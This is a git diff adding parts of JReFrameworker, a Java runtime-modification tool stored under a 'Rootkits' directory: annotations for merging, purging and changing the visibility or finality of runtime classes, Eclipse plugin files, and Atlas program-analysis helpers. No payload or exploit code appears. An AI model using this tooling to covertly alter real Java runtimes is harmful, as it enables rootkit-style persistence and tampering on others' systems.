diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java
new file mode 100644
index 0000000..d854bcb
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinalities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineTypeFinalities {
+ DefineTypeFinality[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinality.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinality.java
new file mode 100644
index 0000000..02d9438
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeFinality.java
@@ -0,0 +1,32 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Adds or removes the final modifier from a type
+ *
+ * "type" should be the qualified class name, if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "finality" should be a boolean true to add or boolean false to remove the
+ * final keyword
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineTypeFinalities.class)
+public @interface DefineTypeFinality {
+ int phase() default 1;
+ String type();
+ boolean finality();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java
new file mode 100644
index 0000000..6e75203
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibilities.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface DefineTypeVisibilities {
+ DefineTypeVisibility[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java
new file mode 100644
index 0000000..26539e1
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/DefineTypeVisibility.java
@@ -0,0 +1,31 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Sets the visibility of a type
+ *
+ * "type" should be the qualified class name, if not defined the target will be
+ * the super class of the class the annotation is placed on
+ *
+ * "visibility" should be "public", "protected", or "private"
+ *
+ * @author Ben Holland
+ */
+@Repeatable(DefineTypeVisibilities.class)
+public @interface DefineTypeVisibility {
+ int phase() default 1;
+ String type();
+ String visibility();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/MergeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/MergeType.java
new file mode 100644
index 0000000..906b21a
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/MergeType.java
@@ -0,0 +1,29 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated type (class, abstract class, interface) should be
+ * inserted into the runtime. If the runtime type already exists it will be
+ * replaced with the annotated type. Ignores all other JReFrameworker annotations.
+ *
+ * "supertype" forces merges into the specified qualified type
+ * This option is useful for nasty edge case hacks...or forcing stubborn compiles to work.
+ * Hopefully in the future this option can be removed
+ *
+ * @author Ben Holland
+ */
+public @interface MergeType {
+ int phase() default 1;
+ String supertype() default "";
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeType.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeType.java
new file mode 100644
index 0000000..e808749
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeType.java
@@ -0,0 +1,24 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+// annotation will be recorded in the class file by the compiler,
+// but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+/**
+ * Indicates the annotated type (class, abstract class, interface) should be
+ * purged from the runtime. Ignores all other JReFrameworker annotations.
+ *
+ * @author Ben Holland
+ */
+public @interface PurgeType {
+ int phase() default 1;
+ String type();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeTypes.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeTypes.java
new file mode 100644
index 0000000..034c7e9
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.annotations/src/com/jreframeworker/annotations/types/PurgeTypes.java
@@ -0,0 +1,17 @@
+package com.jreframeworker.annotations.types;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+//this annotation is valid for types
+@Target({ ElementType.TYPE })
+
+//annotation will be recorded in the class file by the compiler,
+//but won't be retained by the VM at run time (invisible annotation)
+@Retention(RetentionPolicy.CLASS)
+
+public @interface PurgeTypes {
+ PurgeType[] value();
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/.project
new file mode 100644
index 0000000..94b0d64
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/.project
@@ -0,0 +1,17 @@
+
+
+ com.jreframeworker.atlas.feature
+
+
+
+
+
+ org.eclipse.pde.FeatureBuilder
+
+
+
+
+
+ org.eclipse.pde.FeatureNature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/build.properties
new file mode 100644
index 0000000..64f93a9
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/build.properties
@@ -0,0 +1 @@
+bin.includes = feature.xml
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/feature.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/feature.xml
new file mode 100644
index 0000000..3ba535d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas.feature/feature.xml
@@ -0,0 +1,55 @@
+
+
+
+
+ The JReFrameworker Atlas program analysis integrations add the ability to programmatically develop JReFrameworker modules.
+
+
+
+ Copyright 2017 Ben Holland
+
+
+
+ The MIT License (MIT)
+
+Copyright (c) 2017 Ben Holland
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.classpath
new file mode 100644
index 0000000..d41e18b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.classpath
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.gitignore
new file mode 100644
index 0000000..ae3c172
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.project
new file mode 100644
index 0000000..3a795bc
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.project
@@ -0,0 +1,28 @@
+
+
+ com.jreframeworker.atlas
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ org.eclipse.pde.ManifestBuilder
+
+
+
+
+ org.eclipse.pde.SchemaBuilder
+
+
+
+
+
+ org.eclipse.pde.PluginNature
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..0c68a61
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,7 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/META-INF/MANIFEST.MF b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..de90bb9
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/META-INF/MANIFEST.MF
@@ -0,0 +1,26 @@
+Manifest-Version: 1.0
+Bundle-ManifestVersion: 2
+Bundle-Name: JReFrameworker Atlas Integrations
+Bundle-SymbolicName: com.jreframeworker.atlas;singleton:=true
+Bundle-Version: 1.3.1.qualifier
+Bundle-RequiredExecutionEnvironment: JavaSE-1.8
+Require-Bundle:
+ org.eclipse.ui;visibility:=reexport,
+ org.eclipse.core.runtime;visibility:=reexport,
+ org.eclipse.core.resources;visibility:=reexport,
+ org.eclipse.core.filesystem;visibility:=reexport,
+ org.eclipse.swt;visibility:=reexport,
+ org.eclipse.ui.ide;visibility:=reexport,
+ org.eclipse.jdt.core,
+ com.ensoftcorp.atlas.core;bundle-version="3.3.1";visibility:=reexport,
+ com.ensoftcorp.atlas.ui;bundle-version="3.1.7";visibility:=reexport,
+ com.jreframeworker;bundle-version="1.3.1";visibility:=reexport,
+ com.jreframeworker.engine;bundle-version="1.3.1";visibility:=reexport,
+ com.jreframeworker.annotations;bundle-version="1.3.1";visibility:=reexport,
+ support.com.squareup.javapoet;bundle-version="1.8.0";visibility:=reexport
+Bundle-ActivationPolicy: lazy
+Bundle-Activator: com.jreframeworker.atlas.Activator
+Export-Package: com.jreframeworker.atlas.analysis,
+ com.jreframeworker.atlas.projects
+Bundle-ClassPath: .,
+ swing2swt.jar
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/build.properties
new file mode 100644
index 0000000..5b784ca
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/build.properties
@@ -0,0 +1,6 @@
+source.. = src/
+output.. = bin/
+bin.includes = META-INF/,\
+ icons/,\
+ plugin.xml,\
+ .
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/icons/JReFrameworker.gif b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/icons/JReFrameworker.gif
new file mode 100644
index 0000000..755ce01
Binary files /dev/null and b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/icons/JReFrameworker.gif differ
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/plugin.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/plugin.xml
new file mode 100644
index 0000000..5770a9d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/plugin.xml
@@ -0,0 +1,37 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/schema/com.jreframeworker.atlas.codegen.exsd b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/schema/com.jreframeworker.atlas.codegen.exsd
new file mode 100644
index 0000000..b64f70d
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/schema/com.jreframeworker.atlas.codegen.exsd
@@ -0,0 +1,110 @@
+
+
+
+
+
+
+
+
+ This extension point allows plugins to contribute code generator specifications to JReFrameworker.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ [Enter the first release in which this extension point appears.]
+
+
+
+
+
+
+
+
+ [Enter extension point usage example here.]
+
+
+
+
+
+
+
+
+ [Enter API information here.]
+
+
+
+
+
+
+
+
+ [Enter information about supplied implementation of this extension point.]
+
+
+
+
+
+
+
+
+ EnSoft Corp. 2017
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/Activator.java
new file mode 100644
index 0000000..4f6ff4c
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/Activator.java
@@ -0,0 +1,53 @@
+package com.jreframeworker.atlas;
+
+import org.eclipse.ui.plugin.AbstractUIPlugin;
+import org.osgi.framework.BundleContext;
+
+/**
+ * The activator class controls the plug-in life cycle
+ */
+public class Activator extends AbstractUIPlugin {
+
+ // The plug-in ID
+ public static final String PLUGIN_ID = "com.jreframeworker.atlas"; //$NON-NLS-1$
+
+ // plugin extensions
+ public static final String PLUGIN_CODE_GENERATOR_EXTENSION_ID = "com.jreframeworker.atlas.codegen"; //$NON-NLS-1$
+
+ // The shared instance
+ private static Activator plugin;
+
+ /**
+ * The constructor
+ */
+ public Activator() {
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext)
+ */
+ public void start(BundleContext context) throws Exception {
+ super.start(context);
+ plugin = this;
+ }
+
+ /*
+ * (non-Javadoc)
+ * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext)
+ */
+ public void stop(BundleContext context) throws Exception {
+ plugin = null;
+ super.stop(context);
+ }
+
+ /**
+ * Returns the shared instance
+ *
+ * @return the shared instance
+ */
+ public static Activator getDefault() {
+ return plugin;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/ClassAnalysis.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/ClassAnalysis.java
new file mode 100644
index 0000000..c8cb391
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/ClassAnalysis.java
@@ -0,0 +1,53 @@
+package com.jreframeworker.atlas.analysis;
+
+import com.ensoftcorp.atlas.core.db.graph.Node;
+import com.ensoftcorp.atlas.core.db.set.AtlasSet;
+import com.ensoftcorp.atlas.core.script.Common;
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+
+public class ClassAnalysis {
+
+ /**
+ * Returns true if the given class is marked final
+ * @param clazz
+ * @return
+ */
+ public static boolean isFinal(Node clazz){
+ return clazz.taggedWith(XCSG.Java.finalClass);
+ }
+
+ /**
+ * Returns true if the given class is marked public
+ * @param clazz
+ * @return
+ */
+ public static boolean isPublic(Node clazz){
+ return clazz.taggedWith(XCSG.publicVisibility);
+ }
+
+ /**
+ * Returns the name of the given class
+ * @param clazz
+ * @return
+ */
+ public static String getName(Node clazz){
+ return clazz.getAttr(XCSG.name).toString();
+ }
+
+ /**
+ * Returns the package name that contains the given class
+ * @param clazz
+ * @return
+ */
+ public static String getPackage(Node clazz){
+ AtlasSet pkgs = Common.toQ(clazz).containers().nodesTaggedWithAny(XCSG.Package).eval().nodes();
+ if(pkgs.isEmpty()){
+ throw new IllegalArgumentException("Class is not contained in a package!");
+ } else if(pkgs.size() > 1){
+ throw new IllegalArgumentException("Class is not contained in multiple packages!");
+ } else {
+ return pkgs.one().getAttr(XCSG.name).toString();
+ }
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/MethodAnalysis.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/MethodAnalysis.java
new file mode 100644
index 0000000..cd5012b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/analysis/MethodAnalysis.java
@@ -0,0 +1,322 @@
+package com.jreframeworker.atlas.analysis;
+
+import java.util.ArrayList;
+
+import javax.lang.model.element.Modifier;
+
+import com.ensoftcorp.atlas.core.db.graph.Node;
+import com.ensoftcorp.atlas.core.query.Attr;
+import com.ensoftcorp.atlas.core.query.Q;
+import com.ensoftcorp.atlas.core.script.Common;
+import com.ensoftcorp.atlas.core.script.CommonQueries;
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+
+public class MethodAnalysis {
+
+ /**
+ * Returns the class that owns the given method
+ * @param method
+ * @return
+ */
+ public static Node getOwnerClass(Node method) {
+ return Common.toQ(method).parent().eval().nodes().one();
+ }
+
+ /**
+ * Returns true if the given method is marked final
+ * @param clazz
+ * @return
+ */
+ public static boolean isFinal(Node method){
+ return method.taggedWith(XCSG.Java.finalMethod);
+ }
+
+ /**
+ * Returns true if the given method is marked public
+ * @param clazz
+ * @return
+ */
+ public static boolean isPublic(Node method){
+ return method.taggedWith(XCSG.publicVisibility);
+ }
+
+ /**
+ * Returns true if the given method is marked protected
+ * @param clazz
+ * @return
+ */
+ public static boolean isProtected(Node method){
+ return method.taggedWith(XCSG.protectedPackageVisibility);
+ }
+
+ /**
+ * Returns true if the given method is marked private
+ * @param clazz
+ * @return
+ */
+ public static boolean isPrivate(Node method){
+ return method.taggedWith(XCSG.privateVisibility);
+ }
+
+ /**
+ * Returns true if the given method is marked static
+ * @param clazz
+ * @return
+ */
+ public static boolean isStatic(Node method){
+ return method.taggedWith(Attr.Node.IS_STATIC); // TODO: figure out XCSG equivalent
+ }
+
+ /**
+ * Returns the name of the given method
+ * @param clazz
+ * @return
+ */
+ public static String getName(Node method){
+ return method.getAttr(XCSG.name).toString();
+ }
+
+ public static Modifier[] getModifiers(Node method){
+ ArrayList modifiers = new ArrayList();
+
+ if(isPublic(method)){
+ modifiers.add(Modifier.PUBLIC);
+ }
+
+ if(isProtected(method)){
+ modifiers.add(Modifier.PROTECTED);
+ }
+
+ if(isPrivate(method)){
+ modifiers.add(Modifier.PRIVATE);
+ }
+
+ if(isStatic(method)){
+ modifiers.add(Modifier.STATIC);
+ }
+
+ // TODO: consider other modifiers...
+
+ Modifier[] result = new Modifier[modifiers.size()];
+ modifiers.toArray(result);
+ return result;
+ }
+
+ // TODO: consider ordering
+ // TODO: need to consider generics?
+ public static Parameter[] getParameters(Node method){
+ ArrayList parameters = new ArrayList();
+
+ Q parameterNodes = Common.toQ(method).children().nodes(XCSG.Parameter);
+ Q typeOfEdges = Common.universe().edges(XCSG.TypeOf);
+
+ for(Node parameterNode : parameterNodes.eval().nodes()){
+ Node parameterType = typeOfEdges.successors(Common.toQ(parameterNode)).eval().nodes().one();
+
+ ArrayList modifiers = new ArrayList();
+ if(parameterType.taggedWith(Attr.Node.IS_FINAL)){ // TODO: replace with XCSG equivalent
+ modifiers.add(Modifier.FINAL);
+ }
+ Modifier[] parameterModifiers = new Modifier[modifiers.size()];
+ modifiers.toArray(parameterModifiers);
+
+ String parameterName = parameterNode.getAttr(XCSG.name).toString();
+
+ // TODO: test this logic..
+ if(parameterType.taggedWith(XCSG.ArrayType)){
+ int arrayDimension = Integer.parseInt(parameterType.getAttr(XCSG.Java.arrayTypeDimension).toString());
+ Q arrayElementTypeEdges = Common.universe().edges(XCSG.ArrayElementType);
+ parameterType = arrayElementTypeEdges.successors(Common.toQ(parameterType)).eval().nodes().one();
+ String qualifiedParameterType = getQualifiedType(parameterType);
+ parameters.add(new Parameter(parameterModifiers, qualifiedParameterType, parameterName, arrayDimension));
+ } else {
+ String qualifiedParameterType = getQualifiedType(parameterType);
+ parameters.add(new Parameter(parameterModifiers, qualifiedParameterType, parameterName));
+ }
+ }
+
+ Parameter[] result = new Parameter[parameters.size()];
+ parameters.toArray(result);
+ return result;
+ }
+
+ private static String getPrimitiveType(Node parameterType) {
+ if(parameterType.getAttr(XCSG.name).toString().equals("byte")){
+ return (byte.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("char")){
+ return (char.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("short")){
+ return (short.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("int")){
+ return (int.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("long")){
+ return (long.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("float")){
+ return (float.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("double")){
+ return (double.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("boolean")){
+ return (boolean.class).getName();
+ } else if(parameterType.getAttr(XCSG.name).toString().equals("void")){
+ return (void.class).getName();
+ }
+ throw new IllegalArgumentException("Not a primitive type");
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static class Parameter {
+ private Modifier[] modifiers;
+ private String type;
+ private String name;
+ private int arrayDimension = 0;
+ private Class primitive = null;
+
+ public Parameter(Modifier[] modifiers, String type, String name, int arrayDimension) {
+ this(modifiers, type, name);
+ if(arrayDimension > 0){
+ this.arrayDimension = arrayDimension;
+ }
+ }
+
+ public Parameter(Modifier[] modifiers, String type, String name) {
+ this.modifiers = modifiers;
+ this.type = type;
+ this.name = name;
+ if(type.equals((byte.class).getName())){
+ this.primitive = byte.class;
+ } else if(type.equals((char.class).getName())){
+ this.primitive = char.class;
+ } else if(type.equals((short.class).getName())){
+ this.primitive = short.class;
+ } else if(type.equals((int.class).getName())){
+ this.primitive = int.class;
+ } else if(type.equals((long.class).getName())){
+ this.primitive = long.class;
+ } else if(type.equals((float.class).getName())){
+ this.primitive = float.class;
+ } else if(type.equals((double.class).getName())){
+ this.primitive = double.class;
+ } else if(type.equals((boolean.class).getName())){
+ this.primitive = boolean.class;
+ } else if(type.equals((void.class).getName())){
+ this.primitive = void.class;
+ }
+ }
+
+ public Modifier[] getModifiers() {
+ return modifiers;
+ }
+
+ public String getType() {
+ return type;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public boolean isArray(){
+ return arrayDimension != 0;
+ }
+
+ public boolean isPrimitive(){
+ return primitive != null;
+ }
+
+ public Class getPrimitive(){
+ return primitive;
+ }
+
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static class Return {
+ private String type;
+ private int arrayDimension = 0;
+ private Class primitive = null;
+
+ public Return(String type, int arrayDimension) {
+ this(type);
+ if(arrayDimension > 0){
+ this.arrayDimension = arrayDimension;
+ }
+ }
+
+ public Return(String type) {
+ this.type = type;
+ if(type.equals((byte.class).getName())){
+ this.primitive = byte.class;
+ } else if(type.equals((char.class).getName())){
+ this.primitive = char.class;
+ } else if(type.equals((short.class).getName())){
+ this.primitive = short.class;
+ } else if(type.equals((int.class).getName())){
+ this.primitive = int.class;
+ } else if(type.equals((long.class).getName())){
+ this.primitive = long.class;
+ } else if(type.equals((float.class).getName())){
+ this.primitive = float.class;
+ } else if(type.equals((double.class).getName())){
+ this.primitive = double.class;
+ } else if(type.equals((boolean.class).getName())){
+ this.primitive = boolean.class;
+ } else if(type.equals((void.class).getName())){
+ this.primitive = void.class;
+ }
+ }
+
+ public boolean isPrimitive(){
+ return primitive != null;
+ }
+
+ public Class getPrimitive(){
+ return primitive;
+ }
+
+ public String getType() {
+ return type;
+ }
+
+ public boolean isArray(){
+ return arrayDimension != 0;
+ }
+ }
+
+ public static Return getReturnType(Node method) {
+ Q returnsEdges = Common.universe().edgesTaggedWithAny(XCSG.Returns).retainEdges();
+ Q voidMethods = returnsEdges.predecessors(Common.types("void"));
+ if(!CommonQueries.isEmpty(Common.toQ(method).intersection(voidMethods))){
+ return new Return((void.class).getName());
+ } else {
+ // TODO: there should only ever be one right?
+ Q returnTypes = returnsEdges.successors(Common.toQ(method));
+ Q superTypeEdges = Common.universe().edges(XCSG.Supertype);
+ // just being super safe here...might not even be necessary....
+ // TODO: error logging if theres more than one
+ Node returnType = returnTypes.induce(superTypeEdges).roots().eval().nodes().one();
+
+ // TODO: test this logic..
+ if(returnType.taggedWith(XCSG.ArrayType)){
+ int arrayDimension = Integer.parseInt(returnType.getAttr(XCSG.Java.arrayTypeDimension).toString());
+ Q arrayElementTypeEdges = Common.universe().edges(XCSG.ArrayElementType);
+ returnType = arrayElementTypeEdges.successors(Common.toQ(returnType)).eval().nodes().one();
+ String qualifiedReturnType = getQualifiedType(returnType);
+ return new Return(qualifiedReturnType, arrayDimension);
+ } else {
+ String qualifiedReturnType = getQualifiedType(returnType);
+ return new Return(qualifiedReturnType);
+ }
+ }
+ }
+
+ private static String getQualifiedType(Node returnType) {
+ String qualifiedReturnType;
+ if(returnType.taggedWith(XCSG.Primitive)){
+ qualifiedReturnType = getPrimitiveType(returnType);
+ } else {
+ qualifiedReturnType = ClassAnalysis.getPackage(returnType) + "." + ClassAnalysis.getName(returnType);
+ }
+ return qualifiedReturnType;
+ }
+
+}
